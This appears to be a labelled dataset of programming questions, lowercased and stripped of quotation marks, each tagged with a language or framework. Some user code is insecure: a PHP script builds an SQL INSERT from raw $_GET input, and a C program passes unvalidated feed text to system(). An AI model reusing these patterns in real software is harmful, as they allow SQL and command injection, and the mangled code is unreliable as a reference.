object released without pool- just leaking   object release without pool-just leaking <br> is this memory leak <br> how can i avoid this,objective-c
annotations on mapview  i have one calendar on map. initially when i open view controller  all annotations of current date are shown. and i am getting these annotations  coordinates from web services. so  when i change date from calendar  i have to call web services and i get new coordinates of selected date. my problem is  i am adding annotations of current date. my code is     <pre><code>timer = [nstimer scheduledtimerwithtimeinterval:1.0f target:self selector:@selector(addannotationwithtimerinitial:) userinfo:nil repeats:yes]; -(void) addannotationwithtimerinitial:(id)sender{ img = [[uiimageview alloc] initwithframe:cgrectmake(0  0  70  60)]; if ([datetext stringforkey:@ datetxt ] !=nil) {      lbl1 = [[uilabel alloc] initwithframe:cgrectmake(4  4  60  40)]; } else {     lbl = [[uilabel alloc] initwithframe:cgrectmake(4  4  60  40)]; }  if (annocount&lt; _lat.count-1) {     nslog(@ anncount %d  annocount);     double lat = [[_lat objectatindex:(annocount)] doublevalue];     double longt = [[_longitude objectatindex:(annocount)] doublevalue];     //cllocationcoordinate2d loc;     loc.latitude = lat;     loc.longitude = longt;     nslog(@ lac lat long %f %f  loc.latitude  loc.longitude);     annotation.title = [_divdate objectatindex:annocount];     nslog(@  divv%@  [_divdate objectatindex:(annocount)]);     annotation = [[mkpointannotation alloc] init];     annotation.coordinate = loc;     [_mapview addannotation:annotation]; }  if (annocount == 0) {     img.image = [uiimage imagenamed:@ ann1.png ];     float spanx = 0.5;     float spany = 0.5;     mkcoordinateregion region;     region.center.latitude = loc.latitude;     region.center.longitude = loc.longitude;     region.span.latitudedelta = spanx;     region.span.longitudedelta = spany;     [self.mapview setregion:region animated:yes];  } else if (annocount == _lat.count-1){     img.image = [uiimage imagenamed:@ ann1.png ];     [timer invalidate];  } else{     img.image = [uiimage imagenamed:@ ann2.png ]; } annocount++;   </code></pre>   }    this is adding perfectly. but when i change date  i am removing annotations and then again i am calling web services and showing annotations. but this time annotations are adding properly but values of annotations are not showing properly. it is showing previous values. my code is       <pre><code>[timer invalidate]; [_mapview removeannotation:annotation]; for (id annotation in _mapview.annotations)     if (annotation != _mapview.userlocation)         [toremove addobject:annotation]; [_mapview removeannotations:toremove]; [self webservice]; timer = [nstimer scheduledtimerwithtimeinterval:1.0f target:self      selector:@selector(addannotationwithtimerinitial:) userinfo:nil repeats:yes]; </code></pre>   and to show annotations on map method is   <pre><code> - (mkannotationview *)mapview:(mkmapview *)mapview viewforannotation:(id &lt;mkannotation&gt;)annotation  {    // if it s the user location  just return nil. if ([annotation iskindofclass:[mkuserlocation class]])     return nil; static nsstring *reuseid = @ reuseid ; av = [mapview dequeuereusableannotationviewwithidentifier:reuseid]; if (av == nil) {     av = [[mkannotationview alloc] initwithannotation:annotation reuseidentifier:reuseid];    //img = [[uiimageview alloc] initwithframe:cgrectmake(0  0  70  60)];      [av addsubview:img ];    // uilabel *lbl1 = [[uilabel alloc] initwithframe:cgrectmake(4  4  60  40)];    // lbl1.text = [_divdate objectatindex:(annocount)];    // nslog(@ lbl txt %@  lbl1.text);     if ([datetext stringforkey:@ datetxt ] !=nil) {         lbl1.backgroundcolor = [uicolor clearcolor];         lbl1.textcolor = [uicolor whitecolor];         [lbl1 setfont: [lbl1.font fontwithsize: 12]];         [lbl1 setfont:[uifont boldsystemfontofsize:12]];         lbl1.text = [_divdate objectatindex:(annocount)];         nslog(@ lb tx %@  lbl1.text);         lbl1.alpha = 1;         [img addsubview:lbl1];      } else {         lbl.backgroundcolor = [uicolor clearcolor];         lbl.textcolor = [uicolor whitecolor];         [lbl setfont: [lbl.font fontwithsize: 12]];         [lbl setfont:[uifont boldsystemfontofsize:12]];         lbl.text = [_divdate objectatindex:(annocount)];         lbl.alpha = 1;         [img addsubview:lbl];      }         //following lets the callout still work if you tap on the label...     av.canshowcallout = yes;     av.frame = lbl.frame; } else {     av.annotation = annotation; }  lbl = (uilabel *)[av viewwithtag:42]; //nslog(@ ann   %@  myannotation.title);  return av; </code></pre>   }    please help me.,objective-c
djay for ipad  how do they do it   for anyone that have seen the new <a href= http://www.algoriddim.com/djay-ipad  rel= nofollow > djay for ipad  application</a>  how have they managed to access and manipulate tracks from the itunes music library  so far it was only possible to playback the music with the <code>mpmusicplayercontroller</code>. i have looked at ios 4.2 but could not find any new features that indicates the trick.     any idea     andré,ios
python idle less or more   getting a list of <code>__builtins__</code> in idle how do i pause it after a certain number or bottom of the screen       this gives me one at a time..   <pre><code>&gt;&gt;&gt; for i in dir(__builtins__): ...     print i ...     raw_input( press enter... ) </code></pre>   and i could slice it like ...     <pre><code>x=dir(__builtins__) len(x)     for i in x[:10]: print i </code></pre>   ... and that give me first 10 but is there a way to get it to print 10  or bottom of screen until the user input    like a less or more in unix      thanks!,python
how to do fix point multiplication considering corner case  i m new to c language. i want to ask about how to implement c function to multiply two 8-bit signed fixed point numbers. function should also check corner case of signed x signed multiply. truncate the result of multiplication to 8-bits. when i do use multiplication function with corner points it gives following errors   <blockquote>    error c2224: left of  .real  must have struct/union type        intellisense: expression must have class type<br>       error c2224: left of  .imag  must have struct/union type      </blockquote>   as i am new in c  so i can t exactly understand the error messages. here is my code what i m trying to write. can t resolve it:   <pre><code>typedef struct complex  {     short real;     short imag; }complex;     complex complexmultfixed(complex z1  complex z2);   char multiplied(char z1  char z2)     {     short  c;     int i j;     short   l1 l2;     char ans;     complex out;     int overflow;     c = z1 * z2;      if (c != 0x4000)     {         c *=2;     }     else     {         overflow = 1;         c  = 0x7fff;     }      l1 = z1.real * z2.real;     l2 = z1.imag * z2.imag;     // rounding and truncation     out.real = (((l1 - l2)+0x0040)&gt;&gt;7);     l1 =  z1.real * z2.imag;     l2 =  z1.imag * z2.real;     // rounding and truncation     out.imag = (((l1 + l2)+0x0040)&gt;&gt;7);     return(ans); } </code></pre>,c
what does this shortened code mean in c (inside int_wall function)  this is the part of maze algorithm. the shortened part of this code which is in the function is not so clear. is my suggestion correct    <pre><code>... #define up 1 #define right 2 #define down 4 #define left 8 ... int wall_ahead(int m[maze_size][maze_size]  int x  int y  int dir){     x = (dir == left)   --x :         (dir == right)   ++x : x;     y = (dir == up)   --y :         (dir == down)   ++y : y;      return m[x][y]; } </code></pre>   my suggestion is:   <pre><code>if(dir == left){     x -= 1;     if(dir==right){        x += 1;     } else {         x = x;     } } </code></pre>,c
getting last autonumber in access  i am trying to get last auto number after inserting record into access database. i am getting zero. not sure what i am doing wrong. i tried to google but could not find any simple example which i can use to understand.   <pre><code>// database was opened before. cmd.executenonquery(); // insert is working fine. cmd = new oledbcommand( select @@identity   con); id = cmd.executenonquery(); // id shows zero in debug </code></pre>,c#
how to rename android project for play store  i have been developing an app under my own account and now i want to handover the app to be published under another google play account. how does one go about doing this  do i have to sign the apk against another keystore  change the application name,android
how can this object reference itself  i ve been tinkering with some code in a effort to understand oop using c. i really like this style and want to use it. the code sample works great if another class creates an instance of fooobj.    how can fooobj reference itself to change its own variables  do i need to make a copy of foo in the constructor or something like that or am i wandering away from the right way to use this methodology    <pre><code>struct fooobj {     int privateint;     char *privatestring;  };    fooobj newfooobj(){     fooobj foo=(fooobj)malloc(sizeof(struct fooobj));     bzero(foo  sizeof(struct fooobj));     return foo; }  void setfoonumber(fooobj foo int num){     if(foo==null) return;  /* you may chose to debugprint something                 *instead                 */     foo-&gt;privateint=num; }    void setmyself(int val) {    //this-&gt;privateint = val  } </code></pre>,c
white-space: nowrap is not working in ie in a horizontally scrolling box  i m using <code>white-space: nowrap</code> combined with inline-block d elements to create a horizontally scrolling box. for some reason  in ie  the <code>white-space: nowrap</code> is being ignored and items are wrapping.,css
strip characters from ng-repeat filter   i m writing an angular app that will read a magnetic stripe card from a usb device. when i swipe a test card  i get a string back containing the card number. for example  <code>;12345 </code>  where <code>12345</code> is the card number.     the data my app uses doesn t include these  control characters   so i d like to strip them out of the search string if the string starts with a <code>;</code> and ends with a <code> </code>.    when i write a custom filter:   <pre><code>angular.module( app.filters   [])  .filter( stripcardcontrolcharacters   function() {   return function(text) {     if(text.substring(0  1) ===  ;  &amp;&amp; text.substring(text.length - 1) ===    ) {         return text.substring(1  text.length - 1);     }   }; }); </code></pre>   it fails because i m <code>ng-repeat</code>ing over an array  and not the string that i ve searched for.    how would i get what string i m filtering for and strip the characters from it     edit: current suggestion is to use a filter to modify the array to add in the control characters so <code>filter:</code> can find it. i might go with that for now  but i m still <em>curious to know if you can write such a filter</em>,angularjs
index out of range exception was unhandled in c# (creating binary search tree with two traversals)  i can t find the problem with this code it says that: index was outside the bounds of the array in this section:   <pre><code>node node = new node(postorder[iterator]); </code></pre>   here is the code:   <pre><code>public node req_buildtreeutil(int[] inorder  int[] postorder  int start  int end  int iterator) {     //base case      if (start &gt; end)         return null;      node node = new node(postorder[iterator]);     iterator--;      if (start == end)         return node;      int index_in_inorder = index_search(inorder  start node.value);      node.right = req_buildtreeutil(inorder  postorder  index_in_inorder + 1  end  iterator);     node.left = req_buildtreeutil(inorder  postorder  start  index_in_inorder - 1  iterator);      return node; }  public node buildtree(int[] inorder  int[] postorder) {     int n = vinorder.length;     int iterator = n - 1;      return req_buildtreeutil(inorder  postorder  0  n - 1  iterator); }  int index_search(int[] array int start  int x) {     int i;     for ( i = start;i &lt; array.length; i++)     {         if (array[i] == x)             break;     }     return i; } </code></pre>,c#
how to pass multiple params of get correctly  <pre><code>$http({     url:  http://someurl.php       method:  get       params: {topicid: $stateparams.topicid  pagenumber:2} }) </code></pre>   in my php i have tried this   <pre><code>echo $_get[ pagenumber ]; echo $_get[ topicid ]; </code></pre>   and in my success callback i got the value of <code>topicid</code> but the <code>pagenumber</code> value is blank.,angularjs
objectivec nsmutablearray add nsmutabledictionary issue <pre><code>nsmutabledictionary *elementsmdic = [nsmutabledictionary new]; for (int i = 0 ; i &lt; maxrssimarray.count; i++) {      nsstring *majorstr = [nsstring stringwithformat:@ %@  [maxrssimarray[i]valueforkey:@ major ]];     nsstring *minorstr = [nsstring stringwithformat:@ %@  [maxrssimarray[i]valueforkey:@ minor ]];     nsinteger rssiint = [[maxrssimarray[i] valueforkey:@ rssi ] intvalue];      [elementsmdic setvalue:@ guest  forkey:@ user_name ];     [elementsmdic setvalue:majorstr forkey:@ major ];     [elementsmdic setvalue:minorstr forkey:@ minor ];     [elementsmdic setvalue:@(rssiint) forkey:@ rssi ];     [elementsmdic setvalue:submittime forkey:@ submit_time ];     [elementsmdic setvalue:here_beacon_uuid forkey:@ beacon_uuid ];      [maxrssidicmarray addobject:elementsmdic];    } nslog(@ %@  maxrssidicmarray); </code></pre>   i get    <pre><code>{      beacon_uuid  =  myuuid ;     major = 65535;     minor = 65535;     rssi =  -95 ;      submit_time  =  2015-10-29_17:45:56 ;      user_name  = guest; }  </code></pre>   my question is why something get    others get no    i think it should be like this   <pre><code>        {      beacon_uuid  =  myuuid ;      major  = 65535;      minor  = 65535;      rssi  = -95;      submit_time  =  2015-10-29_17:45:56 ;      user_name  =  guest ; }  </code></pre>   because my keys are all nsstring   and my majorstr and minorstr all nsstring too    please tell me why and how to resolve why!!,objective-c
angularjs controller not displaying data in view  i have the following controller which i use to display data in my index.html footer area but unfortunately nothing is displayed. i ve double checked code but can t seem to find anything  so i was wondering if someone can please help by telling me what i am doing wrong here and how to fix it  thanks    note: one thing i noticed though while reproducing the error. if i just navigated to the app url say domainname.com/#/ nothing is displayed from the footercntrl  but i navigated to any internal page footercntrl data is displayed  and if i returned back to home page footercntrl data is displayed. yet once i refresh the home page  footercntrl data is gone again....    index.html   <pre><code>&lt;html lang= en  ng-app= myapp &gt; &lt;head&gt;....&lt;/head&gt; .... &lt;div ng-view&gt;&lt;/div&gt; .... &lt;div id= footerzone  ng-controller= footercntrl &gt;   &lt;div class= col &gt;     &lt;h6&gt;data from controller - {{footerdata}}&lt;/h6&gt;   &lt;/div&gt; &lt;/div&gt; &lt;/html&gt; </code></pre>   footercntrl.js   <pre><code>myapp.controller( footercntrl       function footercntrl($scope){         $scope.footerdata =  footer data ; });   </code></pre>   app.js   <pre><code>var myapp = angular.module( myapp   [ ngroute    ngsanitize ]); myapp.config([ $routeprovider   function($routeprovider) {        $routeprovider.when( /                    {     templateurl:  templates/index.html                          controller:  hcontroller                         title:  welcome home page                  });  ..... etc of routes </code></pre>,angularjs
concepts and design of plugincontroller  i ran across a cute plugin controller on this site tinyurl.com/ns42lv and would like to find out where i can learn more about the concept/design of a plug in controller. i use windows as my os and do most of my programming in c++.,c++
visual c# - variable does not exist in current context  i m very beginner when it comes to programming c#  there s two variables in a formula which aren t parsing as integers although i declared them within the main function. i have multiple methods achieving small tasks and it doesn t seem to be linking the main variable to the method one  the rest of the code doesn t have any errors so i m not sure why it s not doing the formula. (i ll have to post all the code in order to show u)   <pre><code> public static void main()     {         int income = 0;         int children = 0;         int tax = 0;         askforincome(income);         nochild(children);         calculatetax(tax);         exitprogram();     }      public static void askforincome(int income)     {         console.writeline( what is your total income:  );         string testnum = console.readline();         bool dummybool = int.tryparse(testnum  out income);         if (dummybool)         {             console.writeline();         }         else if(income &lt; 0)         {             console.writeline( your income cannot be negative. );          }         else         {             console.writeline( enter your income as a whole-dollar numeric figure. );         }     }     public static void nochild(int children)     {          console.writeline( how many children do you have:  );         string testchild = console.readline();         bool dummybool2 = int.tryparse(testchild  out children);         if (dummybool2)         {             console.writeline();         }         else if(children &lt; 0)         {             console.writeline( you must enter a positive number. );          }         else         {             console.writeline( you must enter a valid number. );         }      }     public static void calculatetax(int tax)     {         tax = income - 10000 - (children * 2000);         if (tax &lt; 0)         {             console.writeline( you owe no tax. );         }         else         {             console.writeline( you owe a total of $  + tax +   tax. );         }     } </code></pre>,c#
mysql select  join  comparing dates fails  i have these two tables:   <pre><code>dateranges  some_id   start_date    end_date --------------------------------- 1         2012-12-01   2012-12-15 1         2013-01-01   2013-01-15 3         2013-01-03   2013-01-10   items  id      name ---------------- 1     some name 2     other name 3     so on... </code></pre>   what i try to achieve is to get  for each element in <code>items</code> table  the biggest <code>start_date</code> (ignoring the smaller dates/date ranges for that item) and check if the current date is in that range  like in the next table (let s say today s 02 january 2013):   <pre><code>id       name          todayisintherange --------------------------------------------- 1      some name             true 2      other name            false 3      so on...              false </code></pre>   i have tried to obtain the 3rd table with the next query:   <pre><code>select a.*  (b.`start_date` &lt;= current_date and current_date &lt;= b.`end_date`) as `todayisintherange`                                             from `items` as a                                                 left join `dateranges` as b on                                             a.id = b.some_id sort by b.`end_date` desc </code></pre>   but with this query my items repeat themselves because i have two records in <code>dateranges</code> for the same item.,mysql
method to call two functions (one stdcall)  i have two functions to create a beep. one calls the standard beep function and the other uses a library to write directly to ports. i m trying to find a slick way of choosing which function to call based on a variable.     the standard beep function is defined as   <pre><code>bool stdcall beep(   _in_ dword dwfreq    _in_ dword dwduration ); </code></pre>   where as my function is:   <pre><code>void newbeep(    unsigned int freq      int ms ); </code></pre>   at the moment i just have two almost identical functions but calling correct code.,c++
c++ global initialization order ignores dependencies   i think my problem is best described in code:   <pre><code>#include &lt;stdio.h&gt;  struct foo;  extern foo globalfoo;  struct foo {     foo() {         printf( foo::foo()\n );     }      void add() {         printf( foo::add()\n );     }      static int addtoglobal() {         printf( foo::addtoglobal() start\n );          globalfoo.add();          printf( foo::addtoglobal() end\n );          return 0;     } };  foo globalfoo;  int dummy = foo::addtoglobal();  int main() {     printf( main()\n );      return 0; } </code></pre>   the above prints (with gcc 4.4.3):   <pre><code>foo::foo() foo::addtoglobal() start foo::add() foo::addtoglobal() end main() </code></pre>   this is what i expect  and seems logical.    however  when i swap the following lines:   <pre><code>foo globalfoo; int dummy = foo::addtoglobal(); </code></pre>   into this:   <pre><code>int dummy = foo::addtoglobal(); foo globalfoo; </code></pre>   the program outputs the following:   <pre><code>foo::addtoglobal() start foo::add() foo::addtoglobal() end foo::foo() main() </code></pre>   it seems <em>instance methods of <code>foo</code> are being called using an instance which has not yet been constructed</em>!  something as simple as moving the declaration of a variable in the global scope is affecting the behaviour of the program  and that leads me to believe (1) the order of initialization of globals is not defined and (2) the order of initialization of globals ignores all dependencies.  is this correct   is it possible to make sure the constructor of <code>foo</code> is called before initializing <code>dummy</code>     the problem i am trying to solve is filling a repository of items (a static instance of <code>foo</code>) statically.  in my current attempt  i am using a macro which (among other things) creates a global variable (in an anonymous namespace to avoid name clashing) whose initialization triggers the static initialization.  perhaps i m tackling my problem from the wrong angle   is there a better alternative(s)   thanks.,c++
try use sprintf in an string with a previously unknown size generate a free() invalid next size  i need to use sprintf in an string with a previously unknown size.<br> this works  but generates a warning/error in the console.<br> what is wrong here    <pre><code>// request a dummy size char* str = (char *)malloc(2);  // first pass  just to get the final size int size =  sprintf(str  init_display(%d %d %d %d %s)  width height glwidth glheight title);  // realloc to correct size str = (char *)realloc(str sizeof(char)*size);  // second pass   get the full string sprintf(str  init_display(%d %d %d %d %s)  width height glwidth glheight title);  // free after use free(str); </code></pre>   this generate 2 errors:   <pre><code>error in  foo  realloc(): invalid next size: 0x00007f6dc8009b70 *** error in  foo  free(): invalid next size (fast): 0x00007f6dc8009b70 *** </code></pre>,c
activerecord::recordnotfound in studentscontroller#new couldn t find student with  id =all  i just started working with ruby trying to create a online form it started showing the above error could anyone help me with this my code students_controller.rb   <pre><code> class studentscontroller &lt; applicationcontroller  def new @student = student.new @students = student.find(:all) end  def create @student = student.new(student_params) if @student.save     redirect_to new_student_path end end def student_params allow = [:firstname  :lastname] params.require(:student).permit(allow)  end  end </code></pre>   my code for new.html   <pre><code>enter new student information  &lt;hr&gt; &lt;%= form_for @student do |f| -%&gt;  firstname: &lt;%= f.text_field :firstname %&gt;&lt;br /&gt;&lt;br /&gt;  lastname:  &lt;%= f.text_field :lastname %&gt;&lt;br /&gt;&lt;br /&gt; &lt;%= f.submit %&gt; &lt;% end -%&gt; &lt;hr&gt; display all students  information &lt;% if !@students.blank  %&gt; &lt;% for item in @students %&gt;    &lt;%= item.firstname %&gt; &lt;%= item.lastname %&gt; &lt;br /&gt; &lt;% end %&gt; &lt;% else %&gt; &lt;% end %&gt; </code></pre>   my routes   <pre><code>rails.application.routes.draw do resources :students </code></pre>,ruby-on-rails
how to use 3 background images for a resizable layout in css   i m working an a small website example and i want a resizable background for a div but can t seem to get the bottom background to work.    my css:   <pre><code>.content {     padding: 10px 0;     height: 100%;     background-image: url(bodytop.png)  url(body.png)  url(bodybot.png);     background-size: 100%;     background-repeat: repeat-x  repeat-y  repeat; } </code></pre>   how can i get this to work  the bodybot.png won t show up for me. could i do this by creating a new div in my html  i want bodytop.png on the top  body.png resizing in the middle  and bodybot.png on the bottom. thanks.,css
c on a mac: trying to use  open  does not actually open the url  i m working through chapter 10 of head first c  and i ve come to this program which is supposed to read an rss feed for my search term and then open the url for each term. the book is a little vague on how the open_url function it had me write works exactly  but from what i can tell from the man page of  open   i think it should be opening in either safari or my default browser. only problem is  nothing happens. the code compiles beautifully and runs with no issue except that it just doesn t open the web pages even when i use a search term i know should return something. how do i begin troubleshooting something like this when i don t even get any errors to go off of    <pre><code>void open_url(char *url) {   char launch[255];   sprintf(launch   open  %s    url);   system(launch); }  int main(int argc  char *argv[]) {   char *phrase = argv[1];   char *vars[] = { rss_feed=https://www.npr.org/rss/podcast.php id=510298   null};    ...    char line[255];   while (fgets(line  255  stdin)){     if (line[0] ==  \t )       open_url(line + 1);   }   return 0; } </code></pre>,c
how to compare tow column of data and create a new data frame to store it   my dataframe looks like this.   <pre><code>a = [buy hold sell buy hold sell]  b = [buy hold sell hold hold buy] </code></pre>   how to compare 2 column and create a new column c showing column a = column b     c should be like <code>c= [buy  hold  sell none  none  none]</code>,python
how to convert list<string> to string  <pre><code>public ienumerable&lt;employee&gt; filter(list&lt;string&gt; civstat) {   string[] civil_status = new string[] { civstat }; } </code></pre>   how to convert the list parameter to a string,.net
ordering by total number of rows  here is my scenario <br>  movies  table on the mysql database    <pre><code>director_id     movie -----------     ------ 1                movie1 1                movie2 1                movie3 3                movie4 3                movie5 2                movie6 2                movie7 2                movie8 2                movie9 </code></pre>   how can i order directors by number of the movies they have as descending      like this    2  -> 4 movies    1  -> 3 movies    3   -> 2 mvoies,sql
c - output to file  if i had an array of integers i wanted to output to a text file..   <pre><code>void output() {        for (i=0; i&lt;10; i++)         printf( %d    values[i]); } </code></pre>   how can i save the output() to text file using the method below    <pre><code>void writetofile() {        file = fopen( file.txt   a+ ); // apend file or create a file if it does not exist     fprintf(file  %d   *missing parameter*); // write     fclose(file); // close file     printf( file created. located in the project folder.\n     ); } </code></pre>,c
data from iphone to php  i have this in xcode:   <pre><code>nsstring *post =[[nsstring alloc] initwithstring:@ message ; </code></pre>   this string i want to send to myadress.php. anybody help me with some good reference or code please.    this is my php side:   <pre><code>&lt;   $connect = mysql_connect ( $dbserver    $dbuser    $dbpass ); mysql_select_db( $dbname ) or die(mysql_error());  $feed = $_get[ feed_message ];  $login = mysql_query( insert into feedback set feed_message =  .$feed.     $connect) or die(mysql_error());   mysql_close($connect);   &gt; </code></pre>,iphone
adding a new attribute and assigning the value of the class name to it - jquery  i have a scenario where i need to keep track of class names before i change them to something else. i am planning to add a new attribute to the elements and assign the class name to it. how can i achieve this     this is the element   <pre><code>&lt;td id =  tds1  class= myclass  &gt;&lt;/td&gt; </code></pre>   i am trying something like this.   <pre><code>$( #tds1 ).attr( baseclassname : function () {     var classname = $(this).class;     return classname +  base ; }); </code></pre>   i need the element to be formed like this   <pre><code>&lt;td id =  tds1  class= myclass  baseclassname= myclassbase  &gt;&lt;/td&gt; </code></pre>,jquery
how can i select all columns as 1 column   how do i get the result as below in single column with  -  seperated:-     <strong>details</strong>    aaaa-a-11111     here - details is column name   <pre><code>create table users1 ( fname varchar (50)  lname varchar (50)  number varchar(10)  createdate datetime )      insert into users1 values ( aaaa   a   11111   06-25-2016 00:10 ) insert into users1 values ( bbbb   b   22222   06-25-2016 01:18:000 ) insert into users1 values ( cccc   c   33333   06-25-2016 06:10:000 ) insert into users1 values ( dddd   d   44444   06-25-2016 06:10:000 ) insert into users1 values ( eeee   e   55555   06-25-2016 23:10:000 ) insert into users1 values ( ffff   f   66666   06-25-2016 00:01:000 ) insert into users1 values ( ffff   g   77777   06-26-2016 00:01:000 ) insert into users1 values ( ffff   h   88888   06-26-2016 16:01:000 ) insert into users1 values ( ffff   f   99999   06-26-2016 23:01:000 ) </code></pre>   this is my query :-    <pre><code>select fname   -   lname   -   number from users1 </code></pre>   result is  -  as separate column   which i don t want  please help me,sql
android how to check database table is empty or not   i want code for following concept if data_base_table is empty insert the data to data_base_table.its only one time .if already data in data_base_table  means do nothing.i wrote like this here am checking database table data is empty or not is it correct or not public boolean checkdatabasetable() {         sqlitedatabase database = this.getreadabledatabase();   <pre><code>    string s =  select * from +data_base_table;     cursor cursor = database.rawquery(s  null);     if (cursor.movetofirst()) {         do {             //int i=cursor.getcolumncount();         }while(cursor.movetonext());      }     return cursor!= null   true : false; } </code></pre>,android
jquery nested div .click event  the link #loadcontent will loads tree.html. upon success loading the content  the script reinitialize some functions which is in tree.html. however  i am unable to get the .click event to function in the loaded content.    index.html   <pre><code>&lt;a href= #  id= loadcontent &gt;load&lt;/a&gt;  &lt;script type= text/javascript &gt;       $(function() {                     $( #loadcontent ).click(function() {                       $.ajax({                     url:  tree.html                       success: function(data) {                     $( #result ).html(data);                     $( #demo_1 ).tree({             rules : {                 use_max_children : false                  use_max_depth : false             }              callback : {                 onmove : function (node ref_node type tree_obj rb) {                     alert(tree_obj.get_text(node) +     + type +     + tree_obj.get_text(ref_node));                 }             }         });                     }                     });                 });             });   &lt;/script&gt;   &lt;script type= text/javascript  class= source &gt;     $(function () {          $.tree.drag_start = function () {             $( #log ).append( &lt;br /&gt;drag start  );         };         $.tree.drag = function () {             $( #log ).append(  . );         };         $.tree.drag_end = function () {              $( #log ).append(  drag end&lt;br /&gt; );         };         $( #demo_1 ).tree({             rules : {                 use_max_children : false                  use_max_depth : false             }              callback : {                 onmove : function (node ref_node type tree_obj rb) {                     alert(tree_obj.get_text(node) +     + type +     + tree_obj.get_text(ref_node));                 }             }         });          $( #demo_2 ).tree({             rules : {                 use_max_children : false                  use_max_depth : false             }              callback : {                 onmove : function (node ref_node type tree_obj rb) {                     alert(tree_obj.get_text(node) +     + type +     + tree_obj.get_text(ref_node));                 }             }         });      });     &lt;/script&gt;  &lt;div class= demo  id= demo_2 &gt;   &lt;ul&gt;     &lt;li id= phtml_1  class= open &gt;&lt;a href= # &gt;&lt;ins&gt;&amp;nbsp;&lt;/ins&gt;root node 1&lt;/a&gt;     &lt;ul&gt;       &lt;li id= phtml_2 &gt;&lt;a href= # &gt;&lt;ins&gt;&amp;nbsp;&lt;/ins&gt;child node 1&lt;/a&gt;&lt;/li&gt;       &lt;li id= phtml_3 &gt;&lt;a href= # &gt;&lt;ins&gt;&amp;nbsp;&lt;/ins&gt;child node 2&lt;/a&gt;&lt;/li&gt;       &lt;li id= phtml_4 &gt;&lt;a href= # &gt;&lt;ins&gt;&amp;nbsp;&lt;/ins&gt;some other child node with longer text&lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt;     &lt;/li&gt;     &lt;li id= phtml_5 &gt;&lt;a href= # &gt;&lt;ins&gt;&amp;nbsp;&lt;/ins&gt;root node 2&lt;/a&gt;&lt;/li&gt;    &lt;/ul&gt;   &lt;/div&gt;  &lt;div id= result &gt;&lt;/div&gt;&lt;br&gt; &lt;div id= log &gt;&lt;/div&gt; </code></pre>   tree.html   <pre><code>&lt;div class= demo  id= demo_1 &gt;   &lt;ul&gt;     &lt;li id= phtml_1  class= open &gt;&lt;a href= # &gt;&lt;ins&gt;&amp;nbsp;&lt;/ins&gt;root node 1&lt;/a&gt;     &lt;ul&gt;       &lt;li id= phtml_2 &gt;&lt;a href= # &gt;&lt;ins&gt;&amp;nbsp;&lt;/ins&gt;child node 1&lt;/a&gt;&lt;/li&gt;       &lt;li id= phtml_3 &gt;&lt;a href= # &gt;&lt;ins&gt;&amp;nbsp;&lt;/ins&gt;child node 2&lt;/a&gt;&lt;/li&gt;       &lt;li id= phtml_4 &gt;&lt;a href= # &gt;&lt;ins&gt;&amp;nbsp;&lt;/ins&gt;some other child node with longer text&lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt;     &lt;/li&gt;     &lt;li id= phtml_5 &gt;&lt;a href= # &gt;&lt;ins&gt;&amp;nbsp;&lt;/ins&gt;root node 2&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a class= preset_text  id= 1 &gt;model 1&lt;/a&gt; &lt;/li&gt;     &lt;li&gt;&lt;a class= preset_text  id= 2 &gt;model 2&lt;/a&gt;&lt;/li&gt;   &lt;/ul&gt; &lt;/div&gt;  &lt;script type= text/javascript &gt;     $(document).ready(function() {         $( .preset_text ).click(function(){                      var target = $(this).attr( id );                          alert(target);         });     }); &lt;/script&gt; </code></pre>   in tree.html  i am unable to get the alert(target). however  if i moved this section out from the  div #demo_1  in tree.html  i am able to receive alert(target).   <pre><code>&lt;a class= preset_text  id= 1 &gt;model 1&lt;/a&gt;  &lt;a class= preset_text  id= 2 &gt;model 2&lt;/a&gt; </code></pre>   how can i get to detect the item clicked in the div demo_1   thanks,jquery
can we use table based navigation in single view application   i have created single view ios application with some basic functionality. and added the table view in simple view controller now i wanted to use table view with row navigation like(pushcontroller and popcontroller) is that possible and if it is  how we can set that.,ios
toggle element styling on click  i m trying to toggle the style attribute on click. i m not trying to change the value of the style attribute  i d like to actually add and remove the whole style attribute.    so it d look like this to start with   <pre><code>&lt;div class= example  style= background-color:red &gt; </code></pre>   and on click it d go to just   <pre><code>&lt;div class= example &gt; </code></pre>   and on the next click  it d be    <pre><code>&lt;div class= example  style= background-color:red &gt; </code></pre>   and so on.    thanks in advance! :),jquery
fatal error: uncaught error: call to a member function search() on null  i am new to mysqli and only fimiliar some with php.  i was doing a tutorial and came across this error in my code. fatal error: uncaught error: call to a member function search() on null in search.php:19 stack trace: #0 {main}.  can anyone explain what i am looking for to correct this error  it does connect to the database i just changed the bottom connect info for online purposes.    here is the code in my search.php and below that the class-search.php     <pre><code> &lt; php    $search_results=  ;   //check if search data was submitted if ( isset( $_get[ s ])){      //include the search class     require( dirname(_file_) .  /classes/class-search.php );      //instantiate a new instance of search class     $search_term - new search();      //store search term into a variable     $search_term = $_get[ s ];      //send the search term to our search class and store result     $search_results = $search-&gt;search($search_term);  }  &gt;   &lt;!doctype html&gt; &lt;html&gt;  &lt;head&gt;     &lt;title&gt;search&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;search&lt;/h1&gt; &lt;div class= search-form &gt; &lt;form action=   method= get &gt; &lt;div class= form-field &gt; &lt;label for= search-field &gt;search&lt;/label&gt; &lt;input type= search  name= s  placeholder= enter your search term  results= 5  value= &lt; php echo  $search_term;  &gt; &gt; &lt;input type= submit  value= search &gt;      &lt;/div&gt; &lt;/form&gt; &lt;/div&gt;  &lt; php if( $search_results) :  &gt;  &lt;div class = results-count &gt;     &lt;p&gt;&lt; php echo $search_results[ count ];  &gt; results found&lt;/p&gt; &lt;/div&gt;  &lt;div class= results-table &gt;         &lt; php foreach ( $search_results[ results ] as $search_result ) :  &gt;         &lt;div class= result &gt;         &lt;p&gt;&lt; php echo $search_result-&gt;name;  &gt;&lt;/p&gt;         &lt;/div&gt;     &lt; php endforeach;  &gt; &lt;/div&gt; &lt;div class= search-raw &gt; &lt;pre&gt;&lt; php print_r($search_results);  &gt;&lt;/pre&gt; &lt;/div&gt; &lt; php endif;  &gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   here is the code for the class-search.php   <pre><code>&lt; php   class search{  //mysqli connection private $mysqli;   //constructure that sets up the class public function __construct() {     //connect to our database and store in $mysqli property     $this-&gt;connect();    }  //database connection ths connects to our database private function connect() {     $this-&gt;mysqli = new mysqli(  $host_name    $user_name    $password    $database 